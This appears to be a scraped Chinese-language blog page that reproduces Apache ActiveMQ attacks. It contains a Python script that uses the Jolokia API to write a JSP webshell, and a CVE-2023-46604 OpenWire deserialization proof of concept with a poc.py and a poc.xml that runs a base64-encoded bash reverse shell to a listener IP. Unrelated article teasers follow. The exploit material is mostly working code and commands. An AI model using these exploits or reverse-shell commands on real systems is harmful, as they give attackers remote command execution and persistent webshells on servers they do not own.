name="memory-profiling" operator="equal" value="medium"/><test name="memory-profiling" operator="equal" value="all"/></or></condition><condition name="memory-profiling-enabled-all" true="true" false="false"><test name="memory-profiling" operator="equal" value="all"/></condition><selection name="compiler-level" default="normal" label="Compiler"><option label="Off" name="off">off</option><option label="Normal" name="normal">normal</option><option label="Detailed" name="detailed">detailed</option><option label="All" name="all">all</option></selection><condition name="compiler-enabled" true="false" false="true"><test name="compiler-level" operator="equal" value="off"/></condition><condition name="compiler-enabled-failure" true="true" false="false"><or><test name="compiler-level" operator="equal" value="detailed"/><test name="compiler-level" operator="equal" value="all"/></or></condition><condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms"><test name="compiler-level" operator="equal" value="all"/></condition><condition name="compiler-compilation-threshold" true="1000 ms"><test name="compiler-level" operator="equal" value="normal"/></condition><condition name="compiler-compilation-threshold" true="100 ms"><test name="compiler-level" operator="equal" value="detailed"/></condition><condition name="compiler-compilation-threshold" true="0 ms"><test name="compiler-level" operator="equal" value="all"/></condition><condition name="compiler-phase-threshold" true="60 s"><test name="compiler-level" operator="equal" value="normal"/></condition><condition name="compiler-phase-threshold" true="10 s"><test name="compiler-level" operator="equal" value="detailed"/></condition><condition name="compiler-phase-threshold" true="0 s"><test name="compiler-level" operator="equal" value="all"/></condition><selection name="method-sampling-interval" default="normal" label="Method Sampling"><option label="Off" name="off">off</option><option label="Normal" name="normal">normal</option><option label="High" name="high">high</option><option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option></selection><condition name="method-sampling-java-interval" true="999 d"><test name="method-sampling-interval" operator="equal" value="off"/></condition><condition name="method-sampling-java-interval" true="20 ms"><test name="method-sampling-interval" operator="equal" value="normal"/></condition><condition name="method-sampling-java-interval" true="10 ms"><test name="method-sampling-interval" operator="equal" value="high"/></condition><condition name="method-sampling-java-interval" true="1 ms"><test name="method-sampling-interval" operator="equal" value="ludicrous"/></condition><condition name="method-sampling-native-interval" true="999 d"><test name="method-sampling-interval" operator="equal" value="off"/></condition><condition name="method-sampling-native-interval" true="20 ms"><or><test name="method-sampling-interval" operator="equal" value="normal"/><test name="method-sampling-interval" operator="equal" value="high"/><test name="method-sampling-interval" operator="equal" value="ludicrous"/></or></condition>  <condition name="method-sampling-enabled" true="false" false="true"><test name="method-sampling-interval" operator="equal" value="off"/></condition><selection name="thread-dump-interval" default="normal" label="Thread Dump"><option label="Off" name="off">999 d</option><option label="At least Once" name="normal">everyChunk</option><option label="Every 60 s" name="everyMinute">60 s</option><option label="Every 10 s" name="everyTenSecond">10 s</option><option label="Every 1 s" name="everySecond">1 s</option></selection><condition name="thread-dump-enabled" true="false" false="true"><test name="thread-dump-interval" operator="equal" value="999 d"/></condition><selection name="exception-level" default="errors" label="Exceptions"><option label="Off" name="off">off</option><option label="Errors Only" name="errors">errors</option><option label="All Exceptions, including Errors" name="all">all</option></selection><condition name="enable-errors" true="true" false="false"><or><test name="exception-level" operator="equal" value="errors"/><test name="exception-level" operator="equal" value="all"/></or></condition><condition name="enable-exceptions" true="true" false="false"><test name="exception-level" operator="equal" value="all"/></condition><selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection"><option label="Off" name="off">off</option><option label="Object Types" name="minimal">minimal</option><option label="Object Types + Allocation Stack Traces" name="medium">medium</option><option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option></selection><condition name="memory-leak-detection-enabled" true="false" false="true"><test name="memory-leak-detection" operator="equal" value="off"/></condition><condition name="memory-leak-detection-stack-trace" true="true" false="false"><or><test name="memory-leak-detection" operator="equal" value="medium"/><test name="memory-leak-detection" operator="equal" value="full"/></or></condition><condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns"><test name="memory-leak-detection" operator="equal" value="full"/></condition><text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text><text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text><text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text><flag name="class-loading-enabled" label="Class Loading">false</flag></control></configuration>
'''class Application(object):def __init__(self, url, username, password):self.url = urlself.session = requests.session()self.session.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ''Chrome/117.0.5938.132 Safari/537.36','Origin': url,}self.session.auth = (username, password)def request(self, method: str, path: str, *args, **kwargs):data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()assert data['status'] == 200return datadef find_mbean_name(self):data = self.request('GET', '/api/jolokia/list')for name, val in data['value'].items():if name == 'org.apache.logging.log4j2':for type_name in val.keys():if type_name.startswith('type='):return f'{name}:{type_name}'for name, val in data['value'].items():if name == 'jdk.management.jfr':for type_name in val.keys():if type_name == 'type=FlightRecorder':return f'{name}:{type_name}'raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')def modify_config(self, mbean: str, template: str):self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean=mbean,operation='setConfigText',arguments=[template, 'utf-8']))def exploit_log4j(self, mbean: str):self.modify_config(mbean, evil_template)logging.info('update log config')self.request('GET', '/api/jolokia/version', headers={'User-Agent': f'Mozilla ||| {webshell} |||'})logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))self.modify_config(mbean, original_template)logging.info('restore log config')def exploit_jfr(self):record_id = self.create_record()logging.info('create flight record, id = %d', record_id)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='setConfiguration',arguments=[record_id, record_template]))logging.info('update configuration for record %d', record_id)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='startRecording',arguments=[record_id]))logging.info('start record')time.sleep(1)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='stopRecording',arguments=[record_id]))logging.info('stop record')self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='copyTo',arguments=[record_id, 'webapps/admin/shelljfr.jsp']))logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))def exploit(self, action='auto'):mbean = self.find_mbean_name()if action == 'log4j':logging.info('choice MBean org.apache.logging.log4j2 manually')self.exploit_log4j(mbean)elif action == 'jfr':logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')self.exploit_jfr()elif mbean.startswith('org.apache.logging.log4j2'):logging.info('choice MBean %r automatically', mbean)self.exploit_log4j(mbean)else:logging.info('choice MBean %r automatically', mbean)self.exploit_jfr()def create_record(self):data = self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='newRecording',arguments=[]))return data['value']def main():parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')parser.add_argument('url', type=str)args = parser.parse_args()app = Application(args.url, args.username, args.password)app.exploit(args.exploit)if __name__ == '__main__':main()

Apache ActiveMQ OpenWire 協議反序列化命令執行漏洞(CVE-2023-46604)

OpenWire協議在ActiveMQ中被用于多語言客戶端與服務端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire協議通信過程中存在一處反序列化漏洞,該漏洞可以允許具有網絡訪問權限的遠程攻擊者通過操作OpenWire協議中的序列化類類型,導致代理的類路徑上的任何類實例化,從而執行任意命令。

漏洞復現

靶機啟動后,訪問 http://your-ip:8161檢查服務是否運行成功。

編輯poc.xml

使用以下反彈shell命令,編碼為base64
bash -i >& /dev/tcp/10.132.0.58/1234 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE={echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

修改xml為反彈shell命令

┌──(root?nextcyber)-[~]
└─# vim poc.xml┌──(root?nextcyber)-[~]
└─# cat poc.xml              
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}</value></list></constructor-arg></bean>
</beans>

執行poc.py

首先,啟動一個HTTP反連服務器,其中包含我們的poc.xml:
python3 -m http.server 6666
另起一個命令行終端,監聽端口1234
┌──(root?nextcyber)-[~] 
└─# nc -lvnp 1234 
listening on [any] 1234 ...

然后,執行poc.py,傳入的三個參數分別是目標服務器地址、端口,以及包含poc.xml的反連平臺URL:

python3 poc.py 192.168.2.47 61616 http://10.132.0.58:6666/poc.xml
成功拿到shell

poc.py

import io
import socket
import sysdef main(ip, port, xml):classname = "org.springframework.context.support.ClassPathXmlApplicationContext"socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_obj.connect((ip, port))with socket_obj:out = socket_obj.makefile('wb')# out = io.BytesIO()  # 創建一個內存中的二進制流out.write(int(32).to_bytes(4, 'big'))out.write(bytes([31]))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(classname).to_bytes(2, 'big'))out.write(classname.encode('utf-8'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(xml).to_bytes(2, 'big'))out.write(xml.encode('utf-8'))# print(list(out.getvalue()))out.flush()out.close()if __name__ == "__main__":if len(sys.argv) != 4:print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 ""http://192.168.0.101:8888/poc.xml")exit(-1)main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>touch</value><value>/tmp/activeMQ-RCE-success</value></list></constructor-arg></bean>
</beans>

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/86355.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/86355.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/86355.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

環保處理設備遠程運維管理解決方案

在環保產業蓬勃發展的當下&#xff0c;環保處理設備廠商面臨著愈發激烈的市場競爭。為助力環保處理設備廠商在競爭中脫穎而出&#xff0c;御控工業智能網關打造了一套完善的PLC數據采集設備運維管理平臺解決方案。此方案憑借其獨特優勢&#xff0c;能為環保處理設備廠商帶來顯著…

嵌入式學習筆記DAY43(ARM架構)

一、RAM分類 sram&#xff08;靜態隨機存取存儲器&#xff09;&#xff1a; 原理&#xff1a;使用晶體管來存儲二進制數據0和1&#xff0c;通過雙穩態電路&#xff08;由多個晶體管組成&#xff09;來保持數據狀態&#xff0c;只要持續供電&#xff0c;數據就能穩定保存。數據讀…

2025國際無人機應用及防控大會四大技術專題深度解析

2025國際無人機應用及防控大會四大技術專題深度解析 2025國際無人機應用及防控大會四大技術專題深度解析1 無人機系統技術專題技術特點與應用領域國內領軍企業及案例風險挑戰與發展方向 2 測控與通信導航技術專題技術創新與應用突破領先企業及解決方案現存問題與發展趨勢 3 任務…

DD3118S:USB3.0+Type-c雙頭TF/SD二合一高速0TG多功能手機讀卡器ic

DD3118S封裝是QFN42, GL3224封裝是QFN32 &#xff0c;設計同樣一款3.0讀卡方案&#xff0c;GL3213S需要電容、電阻外圍器件一起要29顆&#xff0c;而DD3118S只需要13顆&#xff0c;方案精簡且設計簡單 DD3118S支持USB3.0Type-c雙頭TF/SD二合一 &#xff0c;高速0TG多功能手機讀…

如何在FastAPI中玩轉GitHub認證,讓用戶一鍵登錄?

title: 如何在FastAPI中玩轉GitHub認證,讓用戶一鍵登錄? date: 2025/06/22 09:11:47 updated: 2025/06/22 09:11:47 author: cmdragon excerpt: GitHub第三方認證集成通過OAuth2.0授權碼流程實現,包含用戶跳轉GitHub認證、獲取授權碼、交換訪問令牌及調用API獲取用戶信息四…

深入JVM:從零到實戰,解鎖Java性能與調優的終極武器

“什么&#xff1f;你還在寫CRUD&#xff1f;面試官問個JVM調優直接啞火&#xff1f;線上服務OOM了只能重啟大法&#xff1f;” —— 別慌&#xff0c;掌握JVM&#xff0c;你也能成為團隊里的“定海神針”&#xff01; 作為一名Java開發者&#xff0c;無論你是剛入行的新人還是…

MyBatis 中的 resultType 與 resultMap:區別、使用場景及示例詳解

目錄 一、什么是 resultType 1. 定義 2. 特點 3. 使用場景 4. 示例 示例 1&#xff1a;返回一個實體類對象 對應的 Java 類&#xff1a; 示例 2&#xff1a;返回 Map 集合 返回的每個記錄是一個 Map&#xff0c;例如&#xff1a; 二、什么是 resultMap 1. 定義 2. …

Mac安裝Apache CXF的時候報錯:/Library/Internet: No such file or directory

該問題的原因因為配置的JAVA_HOME環境變量路徑中的包括空格字符導致的錯誤。 一、問題排查 輸出當前環境變量 $JAVA_HOME的路徑地址&#xff0c;觀察路徑中是否存在空格 echo $JAVA_HOME二、問題解決 將JAVA_HOME路徑改為你安裝的jdk路徑&#xff0c;注意你的版本號可能與我的會…

npm(或pnpm)時報:證書過期 certificate has expired問題

項目場景&#xff1a; 提示&#xff1a;這里簡述項目相關背景&#xff1a; 首先安裝pnpm npm install -g pnpm //檢查安裝成功的版本 pnpm -v 在拉芋道管理系統&#xff0c;安裝依賴pnpm i 時報證書過期 更改了鏡像也一樣 解決方案&#xff1a; 提示&#xff1a;這里填寫該…

回歸預測 | Matlab實現KAN神經網絡多輸入單輸出回歸預測模型

回歸預測 | Matlab實現KAN神經網絡多輸入單輸出回歸預測模型 目錄 回歸預測 | Matlab實現KAN神經網絡多輸入單輸出回歸預測模型效果一覽基本介紹程序設計參考資料 效果一覽 基本介紹 KAN作為這兩年最新提出的機制&#xff0c;目前很少人用&#xff0c;很適合作為預測的創新點&…

人生筆記Real:記錄生活點滴,守護珍貴記憶

在快節奏的現代生活中&#xff0c;我們常常會有一些瞬間的靈感、難忘的經歷或者需要記錄的重要事項。然而&#xff0c;如何高效地記錄這些內容&#xff0c;并確保它們不會隨著時間的流逝而丟失&#xff0c;成為了一個值得思考的問題。《人生筆記Real》正是這樣一款簡單好用的筆…

自動駕駛數據特征提取實戰:用Python打開智能駕駛的新視角

自動駕駛數據特征提取實戰:用Python打開智能駕駛的新視角 聊起自動駕駛,很多朋友第一時間想到的可能是“車上的攝像頭多牛,傳感器多先進”,但讓我告訴你,真正決定自動駕駛“大腦”能不能跑得順暢、跑得準的,是數據的“骨頭”—特征。 沒錯,機器學習、深度學習的基礎都…

從零搭建共享棋牌室物聯網系統:硬件選型與避坑指南!

近來&#xff0c;24小時共享棋牌室憑借“低成本、無人化、高坪效”的特點成為創業熱點。但許多項目在硬件選型階段就踩坑不斷——設備不兼容、安裝返工、售后無門等問題頻發。本文將結合實戰經驗&#xff0c;手把手教你從零搭建穩定可靠的棋牌室物聯網硬件系統&#xff0c;并附…

NPM 依賴包版本號 `~` 和 `^` 的區別及最佳實踐

本文將深入淺出地解釋 ~ 與 ^ 在 package.json 中的含義&#xff0c;并結合實際開發流程給出團隊協作與發布上線的最佳版本管理策略。 一、版本號的基本結構 NPM 依賴的版本號遵循 SemVer&#xff08;語義化版本&#xff09; 標準&#xff1a; 主版本號.次版本號.補丁號Major…

uniapp報錯Cannot read property ‘dataset‘ of null

如果你引入的組件在uniapp分包路徑中&#xff0c;就會報錯

服務器常見問題以及解決方案

以下是服務器常見問題及對應的維護解決方案&#xff0c;涵蓋硬件、網絡、軟件、安全等核心場景&#xff0c;基于最新行業實踐整理&#xff1a; 一、硬件層故障? 硬盤失效? 現象?&#xff1a;系統崩潰、IO錯誤、SMART告警。 解決?&#xff1a; 立即更換故障盤&#xff0c…

企業級 Java 應用灰度發布設計方案與實踐全解析

引言 在當今互聯網產品快速迭代的背景下&#xff0c;如何在保證服務穩定性的同時&#xff0c;快速驗證新功能的有效性&#xff0c;成為了技術團隊面臨的重要挑戰。灰度發布&#xff08;Canary Release&#xff09;作為一種重要的發布策略&#xff0c;能夠將新版本逐步推向部分用…

computed()、watch() 與 watchEffect()

下面&#xff0c;我們來系統的梳理關于 computed、watch 與 watchEffect 的基本知識點&#xff1a; 一、核心概念與響應式基礎 1.1 響應式依賴關系 Vue 的響應式系統基于 依賴收集 和 觸發更新 的機制&#xff1a; #mermaid-svg-twmGhASLw43mK8XM {font-family:"trebuch…

【Linux驅動開發 ---- 4.2_平臺設備(Platform Devices)概述】

Linux驅動開發 ---- 4.2_平臺設備&#xff08;Platform Devices&#xff09;概述 目錄 Linux驅動開發 ---- 4.2_平臺設備&#xff08;Platform Devices&#xff09;概述前述主要特點&#xff1a;平臺設備的作用平臺設備的注冊與注銷1. platform_device_register_simple()2. pla…

深入學習入門--(一)前備知識

一.Python基礎知識 1.1 Python算數運算 1.2 變量 1.3 數據類型 1.3.1 int&#xff08;整數&#xff09; float&#xff08;浮點數&#xff09; str&#xff08;字符串&#xff09; 1.3.2 bool&#xff08;布爾值&#xff09;: 表示真或假 取值:True,False 1.3.3 list&…